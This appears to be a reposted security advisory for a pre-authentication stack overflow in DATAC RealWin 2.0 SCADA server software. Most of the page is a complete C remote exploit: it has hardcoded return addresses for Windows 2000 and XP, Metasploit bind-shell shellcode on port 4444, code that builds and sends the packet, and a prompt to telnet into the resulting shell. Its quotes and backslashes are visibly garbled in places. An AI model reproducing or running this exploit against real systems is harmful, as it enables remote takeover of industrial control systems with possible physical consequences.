‘DATAC RealWin SCADA Software PreaAuth (Exploit)’

Summary

RealWin is a SCADA server product which includes a FlexView HMI and runs on current Microsoft Windows platforms (2000 and XP). It can operate on a single PC or multiple PCs connected through a TCP/IP network. It reads and maintains data returned from field devices using drivers, stores data for historical access, runs Command Sequence Language (CSL) scripts and generates alarms as defined in the system.’ A vulnerability in th way RealWin handles FC/INFOTAG and SET_CONTROL packets allows remote attackers to cause the product to crash and execute arbitrary code.’

Credit:

‘The information has been provided by Reversemode.’


Details

Vulnerable Systems:
 * DATAC RealWin version 2.0

The bug is a classic stack overflow while processing a specially crafted FC_INFOTAG/SET_CONTROL packet. RealWin server accepts connections from FlewWin clients which use a propietary protocol. We can exploit this flaw from remote without having valid credentials .
———–
.text:0042BFFE call sub_419690 ; Get Packet.PayloadLen

.text:0042C003 movzx ecx, ax
.text:0042C006 mov edx, ecx
.text:0042C008 shr ecx, 2
.text:0042C00B mov esi, ebx

.text:0042C00D lea edi, [esp+638h+var_2E0]
.text:0042C014 rep movsd
.text:0042C016 mov ecx, edx
.text:0042C018 and ecx, 3

.text:0042C01B rep movsb
———–

Exploit:
////////////////////////////////////////////////////////////////////
//// DATAC RealWin 2.0 SCADA Software – Remote PreAuth Exploit -.
//// ——————————————————–
//// This code can only be used for personal study
//// and/or research purposes on even days.
////
//// The author is not responsible for any illegal usage.
//// So if you flood your neighborhood that’s your f******* problem =)
//// —————
//// Note
//// —————
//// ## The exploit has been tested against a build that seems pretty old.
//// ## Therefore this flaw may be not reproducible on newer versions.
////
//// http://www.dataconline.com
//// http://www.realflex.com/download/form.php
////
//// Ruben Santamarta www.reversemode.com
////

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,’wsock32.lib’)

#define REALWIN_PORT 910
#define PACKET_HEADER_MAGIC 0x67542310

#define EXPLOIT_LEN 0x810
#define PING_LEN 0x200

#define FUNC_INFOTAG_SET_CONTROL 0x5000A
#define FUNC_PING 0x70001

typedef struct {
        const char *szTarget;
        ULONG_PTR retAddr;
} TARGET;

TARGET targets[] = {
  { ‘Windows 2000 SP4 [ES]’, 0x779D4F6A}, // call esp – oleaut32.dll
        { ‘Windows 2000 SP4 [EN]’, 0x77E3C256 }, // jmp esp – user32.dll
        { ‘Windows XP SP2 [EN]’, 0x7C914393 }, // call esp – ntdll.dll
  { ‘Windows XP SP2 [ES]’, 0x7711139B}, // call esp – oleaut32.dll
  { NULL,0xFFFFFFFF}
};

int main(int argc, char* argv[])
{
 WSADATA ws;
 SOCKET tcp_socket, tcp_ping;
 char bBuffer[0x10] = {0};
 struct sockaddr_in peer;
 char *pExploitPacket = NULL;
 char *pPingPacket = NULL;
 ULONG_PTR uFixed;

 /* win32_bind – EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
 unsigned char scode[] =
 ‘x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xa5’
 ‘xd8xfbx1bx83xebxfcxe2xf4x59xb2x10x56x4dx21x04xe4’
 ‘x5axb8x70x77x81xfcx70x5ex99x53x87x1exddxd9x14x90’
 ‘xeaxc0x70x44x85xd9x10x52x2execx70x1ax4bxe9x3bx82’
 ‘x09x5cx3bx6fxa2x19x31x16xa4x1ax10xefx9ex8cxdfx33’
 ‘xd0x3dx70x44x81xd9x10x7dx2exd4xb0x90xfaxc4xfaxf0’
 ‘xa6xf4x70x92xc9xfcxe7x7ax66xe9x20x7fx2ex9bxcbx90’
 ‘xe5xd4x70x6bxb9x75x70x5bxadx86x93x95xebxd6x17x4b’
 ‘x5ax0ex9dx48xc3xb0xc8x29xcdxafx88x29xfax8cx04xcb’
 ‘xcdx13x16xe7x9ex88x04xcdxfax51x1ex7dx24x35xf3x19’
 ‘xf0xb2xf9xe4x75xb0x22x12x50x75xacxe4x73x8bxa8x48’
 ‘xf6x8bxb8x48xe6x8bx04xcbxc3xb0xeax47xc3x8bx72xfa’
 ‘x30xb0x5fx01xd5x1fxacxe4x73xb2xebx4axf0x27x2bx73’
 ‘x01x75xd5xf2xf2x27x2dx48xf0x27x2bx73x40x91x7dx52’
 ‘xf2x27x2dx4bxf1x8cxaexe4x75x4bx93xfcxdcx1ex82x4c’
 ‘x5ax0exaexe4x75xbex91x7fxc3xb0x98x76x2cx3dx91x4b’
 ‘xfcxf1x37x92x42xb2xbfx92x47xe9x3bxe8x0fx26xb9x36’
 ‘x5bx9axd7x88x28xa2xc3xb0x0ex73x93x69x5bx6bxedxe4’
 ‘xd0x9cx04xcdxfex8fxa9x4axf4x89x91x1axf4x89xaex4a’
 ‘x5ax08x93xb6x7cxddx35x48x5ax0ex91xe4x5axefx04xcb’
 ‘x2ex8fx07x98x61xbcx04xcdxf7x27x2bx73x4ax16x1bx7b’
 ‘xf6x27x2dxe4x75xd8xfbx1b’;

 int i,c;
 
 system(‘cls’);
 printf(‘ntt- DATAC RealWin 2.0 SCADA Software -n’);
 printf(‘tProtocol Command INFOTAG/SET_CONTROL Stack Overflown’);
 printf(‘nRuben Santamarta – reversemode.com nn’);

 if( argc < 3 )
 {
  
  printf(‘nusage: exploit.exe ip TargetNumber’);
  printf(‘nnexample: exploit 192.168.1.44 1nn’);
  for( i = 0; targets[i].szTarget; i++ )
  {
   printf(‘n[ %d ] – %s’, i, targets[i].szTarget);
  }
  printf(‘n’);
  exit(0);
 }

 WSAStartup(0x0202,&ws);

 peer.sin_family = AF_INET;
 peer.sin_port = htons( REALWIN_PORT );
 peer.sin_addr.s_addr = inet_addr( argv[1] );

 tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
 
 if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
 {
  printf(‘n[!!] Host unreachable 🙁 nn’);
  exit(0);
 }
 
 pExploitPacket = (char*) calloc( EXPLOIT_LEN, sizeof(char) );
 pPingPacket = (char*) calloc( PING_LEN, sizeof(char) );

 memset( (void*)pExploitPacket, 0x90, EXPLOIT_LEN);
 memset( (void*)pPingPacket, 0x90, PING_LEN);
 
 uFixed = targets[atoi(argv[2])].retAddr;
 
 for( i=0x0; i< 0xbe; i++)
 {
  *( ( ULONG_PTR* ) (BYTE*)(pExploitPacket + i*sizeof(ULONG_PTR) +2 ) ) = uFixed;
 }

 // Bypass silly things.
 *( ( ULONG_PTR* ) (BYTE*)(pExploitPacket + 0xbe*sizeof(ULONG_PTR) +2 ) ) = 0x404040;

 // MAGIC_HEADER
 *( ( ULONG_PTR* ) pExploitPacket ) = PACKET_HEADER_MAGIC;
 
 //Payload Length
 *( ( ULONG_PTR* ) pExploitPacket + 1 ) = 0x800;
 
 //MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
 *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 10 ) ) = FUNC_INFOTAG_SET_CONTROL;
 
 //First Parameter
 *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 14 ) ) = 0x4; // Internal Switch
 
 //Mark
 *( (ULONG_PTR*)(( BYTE*) pExploitPacket + 44 ) ) = 0xDEADBEEF; // Our marker

 
 memcpy( (void*)((char*)pExploitPacket + EXPLOIT_LEN – sizeof(scode))
   ,scode
   ,sizeof(scode)-1);
  
 send(tcp_socket, pExploitPacket, EXPLOIT_LEN, 0 );

 printf(‘[+] Exploit packet sent…now checking host availabilityn’);

 // MAGIC_HEADER
 *( ( ULONG_PTR* ) pPingPacket ) = PACKET_HEADER_MAGIC;
 
 //Payload Length
 *( ( ULONG_PTR* ) pPingPacket + 1 ) = 0x20;
 
 //MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
 *( (ULONG_PTR*)(( BYTE*) pPingPacket + 10 ) ) = FUNC_PING;
 
 //First Parameter
 *( (ULONG_PTR*)(( BYTE*) pPingPacket + 14 ) ) = 0x1; // whatever
 
 //Mark
 *( (ULONG_PTR*)(( BYTE*) pPingPacket + 44 ) ) = 0xDEADBEEF; //Our marker

 tcp_ping = socket(AF_INET, SOCK_STREAM, 0);
 
 if ( connect(tcp_ping, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
 {
  printf(‘n[!!] Host died, long live to the Host! nn’);
  exit(0);
 }
 
 i = recv(tcp_ping, bBuffer, 0x8, 0 );
 
 if( i )
 {
  printf(‘[+] The host is up and runningnt:: %d bytes received: ‘,i);
  for( c = 0; c<i; c++)
   printf(‘%02X ‘, (unsigned char)bBuffer[c]);
 
  printf(‘n’);
 }else {
  printf(‘n[!!] Host died, long live to the Host! nn’);
 }

 closesocket(tcp_ping);
 closesocket(tcp_socket);

 Sleep(1000);
 printf(‘n[+] Try: telnet %s 4444nn’,argv[1]);
 WSACleanup();

 return 0;
}’

Categories: Windows